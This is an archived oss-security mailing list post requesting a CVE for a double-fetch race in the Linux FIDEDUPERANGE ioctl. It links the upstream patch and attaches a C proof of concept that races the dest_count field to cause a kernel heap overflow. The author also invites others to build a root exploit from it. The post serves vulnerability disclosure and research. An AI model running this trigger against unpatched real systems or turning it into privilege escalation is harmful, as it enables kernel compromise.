[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] CVE Request: Linux >= 4.5 double fetch leading to heap overflow
From: Scott Bauer <sbauer () plzdonthack ! me>
Date: 2016-07-31 21:25:20
Message-ID: 579E6CC0.2020509 () plzdonthack ! me
[Download RAW message or body]
[Attachment #2 (multipart/mixed)]
[Attachment #4 (multipart/mixed)]
Good afternoon,
For Mitre:
Some code was moved from btrfs to the generic vfs ioctl:
(https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/fs/ioctl.c?h=v4.5&id=54dbc15172375641ef03399e8f911d7165eb90fb).
During the port a double fetch with userland was introduced which can lead to an undersized \
allocation and subsequent heap overflow with potentially controlled data. It has been patched \
in upstream here:
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=10eec60ce79187686e052092e5383c99b4420a20
For OSS-sec:
attached is a PoC. I attempted to write an exploit for this but that's not really my forte. I \
feel like this bug has the potential for a workable user->root exploit but I couldn't do it.
1: You can control which cache the overflow happens on. I picked the same cache as the File \
struct.
2: the code writes 2 different width zeros past the allocation, one 32 bit and the other 64 \
bit.
3: I attempted to overflow and write the 32 bit 0 to the top half of a pointer so it would \
point to userland, but I couldn't find a suitable structure to overflow into.
So if anyone plays around with this and gets a workable exploit please share the details as I'm \
looking to expand my exploitation knowledge, and techniques.
Thank you,
--Scott
For the poc:
gcc -pthread doublefetch.c
./a.out 7 65534 1000000 0
["doublefetch.c" (text/x-csrc)]
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <pthread.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
static const char* file_path = "/tmp/test.txt";
static const char* file_path2 = "/tmp/test2.txt";
typedef int64_t __s64;
typedef int32_t __s32;
typedef uint64_t __u64;
typedef uint16_t __u16;
typedef uint32_t __u32;
struct file_dedupe_range_info {
__s64 dest_fd; /* in - destination file */
__u64 dest_offset; /* in - start of extent in destination */
__u64 bytes_deduped; /* out - total # of bytes we were able */
__s32 status; /* out - see above description */
__u32 reserved; /* must be zero */
};
/* from struct btrfs_ioctl_file_extent_same_args */
struct file_dedupe_range {
__u64 src_offset; /* in - start of extent in source */
__u64 src_length; /* in - length of extent */
__u16 dest_count; /* in - total elements in info array */
__u16 reserved1; /* must be zero */
__u32 reserved2; /* must be zero */
struct file_dedupe_range_info info[0];
};
#define FIDEDUPERANGE _IOWR(0x94, 54, struct file_dedupe_range)
volatile static int trigger = 0;
volatile static int trigger1 = 0;
volatile static int stop = 0;
volatile uint16_t wew;
static unsigned int stupid_hack = 1;
static void *size_change(void *addr)
{
struct file_dedupe_range *range = addr;
while(!stop) {
trigger1 = 1;
while (trigger == 0 ) { }
usleep(stupid_hack);
range->dest_count = wew;
stupid_hack++;
if(stupid_hack > 100000)
stupid_hack = 1;
trigger1 = 0;
}
}
int main(int argc, char **argv)
{
int fd, fd2, i, counter;
struct file_dedupe_range *range;
pthread_t race_car;
int fds[100];
int num = atoi(argv[1]);
int loop = atoi(argv[3]);
wew = atoi(argv[2]);
stupid_hack = atoi(argv[4]);
fd = open(file_path, O_RDWR | O_CREAT);
fd2 = open(file_path2, O_RDWR | O_CREAT);
if (fd < 0) {
printf("Failed to open %s with error %s\n", file_path,
strerror(errno));
return EXIT_FAILURE;
}
range = malloc(sizeof(*range) + sizeof(struct file_dedupe_range_info)*num);
memset(range, 0, sizeof(*range) + sizeof(struct file_dedupe_range_info)*num);
if (!range) {
printf("Failed to alloc mem, exiting\n");
close(fd);
return EXIT_FAILURE;
}
range->dest_count = num;
range->src_offset = 0;
range->src_length = 65535+4096+4096;
for (i = 0; i < num; i++)
range->info[i].dest_fd = fd2;
//write(fd, file_path, 4);
sync();
pthread_create(&race_car, NULL, size_change, range);
for (counter = 0; counter < loop; counter++) {
for (i = 0; i < 100; i++) {
fds[i] = socket(AF_INET, SOCK_STREAM, 0);
if (fds[i] < 0) {
printf("Failed to open socket #%d\n", i);
}
}
while(trigger1 != 1) { }
trigger = 1;
asm volatile("sfence");
close(fds[50]);
close(fds[51]);
ioctl(fd, FIDEDUPERANGE, range);
//printf("ioctl done with %s\n", strerror(errno));
trigger = 0;
while(trigger1 == 0) { }
range->dest_count = num;
for (i = 0; i < 100; i++)
close(fds[i]);
}
stop = 1;
pthread_join(race_car, NULL);
}
["signature.asc" (application/pgp-signature)]
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic